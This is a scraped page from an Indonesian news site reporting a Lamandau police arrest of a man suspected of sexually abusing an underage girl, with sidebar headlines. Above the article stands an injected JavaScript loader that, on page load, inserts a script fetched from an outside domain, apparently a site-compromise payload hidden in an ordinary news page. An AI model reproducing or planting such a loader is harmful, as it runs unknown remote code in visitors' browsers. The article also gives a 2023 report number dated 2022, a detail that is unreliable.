(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, NANGA BULIK – Personel Satreskrim Polres Lamandau berhasil mengamankan ARJS (26) terduga pelaku persetubuhan atau pencabulan terhadap anak perempuan masih di bawah umur di wilayah Kabupaten Lamandau.
Berdasarkan Laporan Polisi Nomor : LP/B/14/III/2023/SPKT/POLRES LAMANDAU/POLDA KALIMANTAN TENGAH, tanggal 27 Maret 2022, dengan pelapor atas nama L (42) tentang dugaan tindak pidana persetubuhan dan atau pencabulan terhadap anak di bawah umur.
Kapolres Lamandau melalui Kasatreskrim Iptu Faisal Firman Gani membenarkan adanya laporan dugaan tindak pidana persetubuhan atau pencabulan terhadap anak di bawah umur yang dilakukan oleh lelaki dewasa. “Saat ini perkara dalam proses penanganan Unit III Satreskrim Polres Lamandau,” kata Kasatreskrim.
Iptu Faisal Firman Gani mengungkap motif pelaku setubuhi korban dengan cara merayu korban melalui aplikasi pesan singkat WhatsApp. “Terduga pelaku mengajak bertemu di tempat tinggal korban untuk melakukan aksi tak senonohnya,” ucap Iptu Faisal.
Baca juga:Â KPK Jadikan Bupati Kapuas Ben Brahim dan Istri Tersangka Korupsi
Bibi korban berinisial Y (26) yang tinggal di seberang rumah korban merasa curiga ada orang tidak dikenal masuk ke rumah korban, kemudian memeriksa ke dalam rumah korban dan mendapati pelaku sedang melakukan persetubuhan terhadap keponakannya di kamar. Kemudian bibi korban langsung memberitahukan kejadian tersebut ke ibunya.
Kasat Reskrim menambahkan, selain mengamankan tersangka, didapati pula barang bukti berupa pakaian yang dikenakan oleh korban yaitu daster dan seprai berhasil disita Unit III Satreskrim Polres Lamandau.
Saat ini pelaku di Rutan Mapolres Lamandau, kemudian pelaku dikenakan pasal 81 ayat (2) UU RI No. 17 tahun 2016, tentang Penetapan Peraturan Pemerintah Pengganti Undang–Undang Nomor 1 tahun 2016 tentang perubahan kedua atas UU RI No. 23 tahun 2002 tentang perlindungan anak, menjadi UU atau pasal 287 ayat (1) KUHPidana.(Kanalkalimantan.com/habibullah)
Reporter: habibullah
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.